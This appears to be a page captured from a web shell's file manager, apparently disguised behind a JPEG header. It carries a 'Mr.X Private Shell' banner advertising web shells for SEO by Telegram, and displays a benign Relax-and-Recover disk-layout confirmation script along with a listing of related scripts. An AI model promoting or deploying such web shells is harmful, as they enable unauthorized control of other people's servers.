����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#
# In migration mode let the user confirm the
# disk layout file (disklayout.conf) content.
#
# Skip if not in migration mode:
is_true "$MIGRATION_MODE" || return 0
rear_workflow="rear $WORKFLOW"
original_disk_space_usage_file="$VAR_DIR/layout/config/df.txt"
rear_shell_history="$( echo -e "cd $VAR_DIR/layout/\nvi $LAYOUT_FILE\nless $LAYOUT_FILE" )"
unset choices
choices[0]="Confirm disk layout and continue '$rear_workflow'"
choices[1]="Edit disk layout ($LAYOUT_FILE)"
choices[2]="View disk layout ($LAYOUT_FILE)"
choices[3]="View original disk space usage ($original_disk_space_usage_file)"
choices[4]="Use Relax-and-Recover shell and return back to here"
choices[5]="Abort '$rear_workflow'"
prompt="Confirm or edit the disk layout file"
choice=""
wilful_input=""
# When USER_INPUT_LAYOUT_FILE_CONFIRMATION has any 'true' value be liberal in what you accept and
# assume choices[0] 'Confirm disk layout' was actually meant:
is_true "$USER_INPUT_LAYOUT_FILE_CONFIRMATION" && USER_INPUT_LAYOUT_FILE_CONFIRMATION="${choices[0]}"
while true ; do
choice="$( UserInput -I LAYOUT_FILE_CONFIRMATION -p "$prompt" -D "${choices[0]}" "${choices[@]}" )" && wilful_input="yes" || wilful_input="no"
case "$choice" in
(${choices[0]})
# Confirm disk layout file and continue:
is_true "$wilful_input" && LogPrint "User confirmed disk layout file" || LogPrint "Continuing '$rear_workflow' by default"
break
;;
(${choices[1]})
# Run 'vi' with the original STDIN STDOUT and STDERR when 'rear' was launched by the user:
vi $LAYOUT_FILE 0<&6 1>&7 2>&8
;;
(${choices[2]})
# Run 'less' with the original STDIN STDOUT and STDERR when 'rear' was launched by the user:
less $LAYOUT_FILE 0<&6 1>&7 2>&8
;;
(${choices[3]})
# Run 'less' with the original STDIN STDOUT and STDERR when 'rear' was launched by the user:
less $original_disk_space_usage_file 0<&6 1>&7 2>&8
;;
(${choices[4]})
# rear_shell runs 'bash' with the original STDIN STDOUT and STDERR when 'rear' was launched by the user:
rear_shell "" "$rear_shell_history"
;;
(${choices[5]})
abort_recreate
Error "User chose to abort '$rear_workflow' in ${BASH_SOURCE[0]}"
;;
esac
done
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 010_prepare_files.sh | File | 2.18 KB | 0644 |
|
| 200_recreate_hpraid.sh | File | 7.92 KB | 0644 |
|
| 250_compare_disks.sh | File | 13 KB | 0644 |
|
| 270_overrule_migration_mode.sh | File | 1.2 KB | 0644 |
|
| 300_map_disks.sh | File | 22.12 KB | 0644 |
|
| 310_remove_exclusions.sh | File | 4.08 KB | 0644 |
|
| 319_rename_xfs_configs.sh | File | 4.14 KB | 0644 |
|
| 320_apply_mappings.sh | File | 1.83 KB | 0644 |
|
| 420_autoresize_last_partitions.sh | File | 52.23 KB | 0644 |
|
| 430_autoresize_all_partitions.sh | File | 3.96 KB | 0644 |
|
| 500_confirm_layout_file.sh | File | 2.35 KB | 0644 |
|
| 510_list_dependencies.sh | File | 103 B | 0644 |
|
| 520_exclude_components.sh | File | 607 B | 0644 |
|
| 540_generate_device_code.sh | File | 1.71 KB | 0644 |
|
| 550_finalize_script.sh | File | 119 B | 0644 |
|
| 600_show_unprocessed.sh | File | 3.16 KB | 0644 |
|
| 610_exclude_from_restore.sh | File | 1.23 KB | 0644 |
|